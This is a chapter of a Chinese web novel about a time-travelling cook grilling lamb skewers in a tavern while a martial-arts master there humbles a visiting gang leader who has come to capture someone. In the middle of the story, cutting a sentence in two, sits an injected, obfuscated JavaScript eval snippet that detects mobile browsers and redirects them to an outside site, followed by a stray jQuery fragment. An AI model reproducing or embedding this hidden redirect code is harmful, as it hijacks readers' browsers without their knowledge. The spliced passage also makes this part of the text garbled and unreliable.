程六水手不抖了,眼不红了,就连那力气也因为气愤大了许多,她一早就腌制的肉派上了用场。
本来是为了回来讨好张东家用的,毕竟抛下老板干活,自己出门逛街确实是有些没小没大说不过去的。
结果没想到,回来就来了这么一遭,怕是真的怕,甚至有那么一瞬间她在想是不是被箭射死了,就能回老家了。
在老家虽然过得艰辛也没什么亲人朋友,但能活着,而且能一直活着。可这里不一样,再繁盛的朝代都少不了战乱少不了江湖□□。
程六水在很努力地了解现在生活的朝代了,但亲身经历和在原身记忆里挑挑拣拣全然不是一回事。
“生存还是毁灭,这是一个问题。”这个问题对于头脑简单四肢脆弱的程六水而言非常简单,都用不上一秒犹豫都不需要犹豫,生存!
她害怕死亡,无论是自己的,还是别人的都害怕。
直到听到了众人纷纷隐瞒的真相—张东家是个武林高手,她的心忽然安定了下来,就像鱼儿找到了可以栖息的水域,又或是小仓鼠拥有了满是坚果的大地洞。
烧得通红的炭火滋啦啦作响,程六水精心捶打过的铁丝烤网被火烘得极热,铁签子上串好了腌制过的羊肉,这腌羊肉可是大有讲究的。
要早早去集市上守着,肉摊子上羔羊肉一来就很快被抢购一空了,程六水与肉摊子上的王老六关系不错,特意央求老六大哥留了一些羔羊肉给她。
羔羊肉鲜嫩美味不膻不腥,炖羊肉汤烤羊肉串都是首选,酒楼里这几个嘴馋的最是喜爱,那陶陶与少仲还都是挑食的主儿,腥气一点就不吃了。
买来了羔羊肉就要腌制了,胡葱多多的放再佐以芫荽姜片,芫荽如今不再是个稀罕物了,有的人爱吃的要命,连冬日里煮锅子都要涮许多,有的人就嫌弃了,碰都是不碰的。
肥瘦相间的红肉在紫紫绿绿的配菜中格外好看,程六水“啪嗒”一声,两个今早勤劳鸡刚下的鸡蛋就打了进去,再来上一勺花生油,本就刚出生的小羔羊,肉质嫩得一抿就化还爆汁呢。
最后程六水在无人处捅捅咕咕倒了许多东西,莳萝粉辣椒粉还有胡椒粉撒了个遍,再加上一点点黄酒,还有独门秘诀清香梨子被切得极碎,澄黄果肉急吼吼地包裹住羔羊肉,增添了果实的酸甜清爽可口得很。
油亮亮的羊肉串在炭火上焦香诱人,满屋满院都是无法言喻的香味,烟雾缭绕中才发现铁丝网上还不止羊肉串呢,什么烤韭菜烤茄子烤土豆子都有呢。
程六水边翻面边撒着烧烤料,时不时转过头一看,便见到了三个戴着痛苦面具的叛徒。
乔四方挺大个个子,扭着头装作可怜小狗模样,伸出一根指头说道,“就给我吃一串吧一串就好。”
“六水你不记得酒楼河畔的马陶陶了吗?我们一起山盟海誓,你说你是风,我说我是沙,我们一起一起不分离。”马陶陶眨巴着眼睛,试图唤起狠心程六水的心软。
而杜少仲则直接放弃了面壁思过,狗腿子一般来到程六水跟前,“嘿嘿六水,你这烤肉得配好酒啊,就用桂花酒可好,此时桂花正是好时候,花中第一流,酒中第一味啊。”
程六水思索了几下,勉为其难地点了点头,“那你去配点桂花酒来。”
“呦嘿!”杜少仲成功获得今晚夜宵的第一张体验券,他那青色长袍跑得都灌了风,飘飘荡荡就去拿酒。
他暗叹自己真是个小机灵鬼,酒楼第一聪明人!
“不用装可怜,说吧还有什么没告诉我的,都一一招来。”程六水端着那盘杜少仲炒的黑炭鸡腿肉,细细的筷子夹起来正要喂到马陶陶嘴边。
“啊啊啊我不要吃这个!”马陶陶放声大叫着,上手就将那筷子上的鸡腿肉推给了乔四方。
乔四方本就张着嘴,猝不及防直接吃了进去,“呸呸呸,这都啥啊难吃好难吃!”
“那说吗?”程六水从背后又变出了串刚烤好的羊肉串,莳萝辣椒的香味勾得人口水都要流下来。
“说我说!那东家是当官的还会武功,听说得罪了达官显贵这才回来经营酒楼的。”马陶陶嘴皮说得贼快,上下一张就把张清寒的底细说完了。
“哦~那你有什么可说的呢?”程六水又看向了乔四方,一旁的马陶陶已经捧着肉串吃起来了。
“?她都说完了,我没啥可说的了。”乔四方脑筋本来就转的比马陶陶慢,傻憨傻憨的每次都是他吃瓜落儿。
那傻大个摸不着头脑的模样,实在令程六水心里乐开了花,“行吧,那你也吃吧。”
大堂里,楚辞修早就闻到这十里飘香的烤肉味了,他都快饿死了。
今早楚辞修在江边凉棚里钓鱼,说是钓鱼其实不过是躺在椅子上睡回笼觉,这可不能怪他,任谁二十几岁在江湖上有名又有钱,洪泽会上面有大当家管着,下面有小弟们干活,谁还能日日勤勉啊。
日子嘛,就是要悠悠闲闲地过,招招猫逗逗狗,再沾花惹草一下,没什么比这更好的日子了。
然后他就在江边被胁迫了,荆州舵口的舵主拿着一纸大当家手令快马赶来。
楚辞修真的很想一个鱼钩,把这位舵主和破手令丢进江里喂鱼。每次找他的活总是又急又难,以为他是救火队员呢?真是烦死了!
但他没办法,他打不过大当家的,只能假装着洪泽会二当家的威严,被迫支楞起来仔细看了看手令。
“靠!”楚辞修直接当着舵主的面,把那手令搓成了废纸团。
让他捉人就捉呗,居然是去江陵捉人,江陵有谁江湖上谁不知道啊,张清寒那个煞星现如今正在那鬼地方归隐呢。
张清寒于江湖人是个极其难缠恐怖的角色,他本不是江湖人却人人畏惧,一来他是吃皇粮的,这年头官府势大没人敢轻易招惹,二就是这小子武功一绝,甚至能大败号称武林宗师的昆仑道人,一站成名无人再敢挑衅。
当今江湖有几位常年不出山的宗师级前辈,太白散人,北斗大拿还有一个便是这昆仑道人,无人知晓张清寒为何与昆仑道人打了起来,只知自那以后他那嘁哩喀喳的寒霜剑法冠绝天下,而昆仑道人再难寻踪迹了。
楚辞修自认不是个聪明人但也不傻,没必要送上门去自讨苦吃,可实在是雇主给洪泽会的钱实在是太多了,多到他那大当家脑子灌水屁颠屁颠地接下了这桩买卖。
他能怎么办呢?只能从陵江边骑着马就跑了,跑了整整一天啊,天都黑了才跑到这,天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405782|184456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可怜见到的饭都没吃上一口。
“你这酒楼厨子不错啊。”楚辞修依旧翘着二郎腿,装作不经意道。
“饿了就说。”张清寒冷着一张脸,如老僧入定般坐在那里,不悲不喜不急不躁。
“你不饿你高贵你都快把这一壶水喝没了。”楚辞修撇着嘴,愤愤不平地戳破了张清寒冰冷外表下的伪装。
张清寒也不恼,将那茶壶里最后一点儿福根全倒进了楚辞修杯子里,“那楚二当家也喝点,管饱。”
“这就是你们这儿的待客之道?没想到张大人下野到了这江陵来,一改往日冷血铁腕,变得格外好说话了,连下面的伙计都能让你饿肚子了。”楚辞修没看那杯茶,他虽惹不起张清寒,可也不是泥捏的软和人。
既然必须要撕破脸皮硬碰硬,那不如直接来个痛快算了。
“一炷香。”张清寒依旧波澜不惊道。
楚辞修皱眉不解,咋的武林高手脑袋和自己长得不一样,简直一个鸡同鸭讲。
不会是?楚辞修心眼子跟蜂窝煤似的多得要命,难不成张清寒这是在威胁自己,只要一炷香的时间就能将他扫出江陵,这未免也太瞧不起他楚某人了吧。
“我楚辞修在这江湖上不说鼎鼎大名,也是响当当的一号角色,你莫要仗着从前的威势用鼻孔看人,有本事就真刀真枪地干一架!”楚辞修说罢,直接从背后抽出两把砍刀。
这双刀还是个有来历的,相传是百年前的武林盟主佩刀,藏于密林山的衣冠冢间,偶然被年少的楚辞修寻得,送去程门重新锻造一番再见天日,真可谓是削铁如泥,一刀封喉两刀腰斩,故此刀便叫做“封喉腰斩刀”。
张清寒终于舍得抬起眼皮看向张牙舞爪的□□二当家,几步间如同鬼魅的身影变幻莫测,在烛火映照下格外骇人,须臾之间他便无声无息地来到了楚辞修身后。
还不等楚辞修翻身一刀砍来,他那两只手腕就被极大的指力扣住,任督二脉瞬间被指力间雄厚的内力倒灌,一时间气血倒流没了力气。
那赫赫威名的“封喉腰斩刀”应声落地,当然还有它们的主人如同软脚虾般倒在了圈椅里,楚辞修勉强梗着脖颈维持着最后一丝体面。
“你……”楚辞修面容扭曲着,他知他武艺不如张清寒,可没想到居然只是一招,一招便被缴刀,奇耻大辱啊!
张清寒此时竟然面色微变,眼神中泛起了几分急迫,他将那两把刀赶忙藏在了桌板子背面,随后便板板正正地站好。
后厨的帘子下一秒便掀开了,程六水端着大大的烤盘前来,外焦里嫩的羊肉串在昏黄的烛光下令人食指大动,还有撒了许多辣椒面的烤韭菜更是要命,焦绿冒红光香得很啊。
“小烧烤来了,你们先吃着,等下还有一拨没烤呢,我烤了再送来。”程六水殷勤道,面前这俩大佬一个都打不过,卖乖肯定是没错的啦。
“正好一炷香上菜,你急什么?一炷香都等不了?”张清寒递了串羊肉给楚辞修,还热情好客地给他倒了杯清甜爽口的桂花酒,金桂碎瓣飘落其中,如碎金落凡尘般。
“?这个一炷香啊?”楚辞修这下直接从面容扭曲气得嘴歪眼斜了,但嘴歪一点也不耽误,嘴歪也能哼唧哼唧撸串吃烧烤。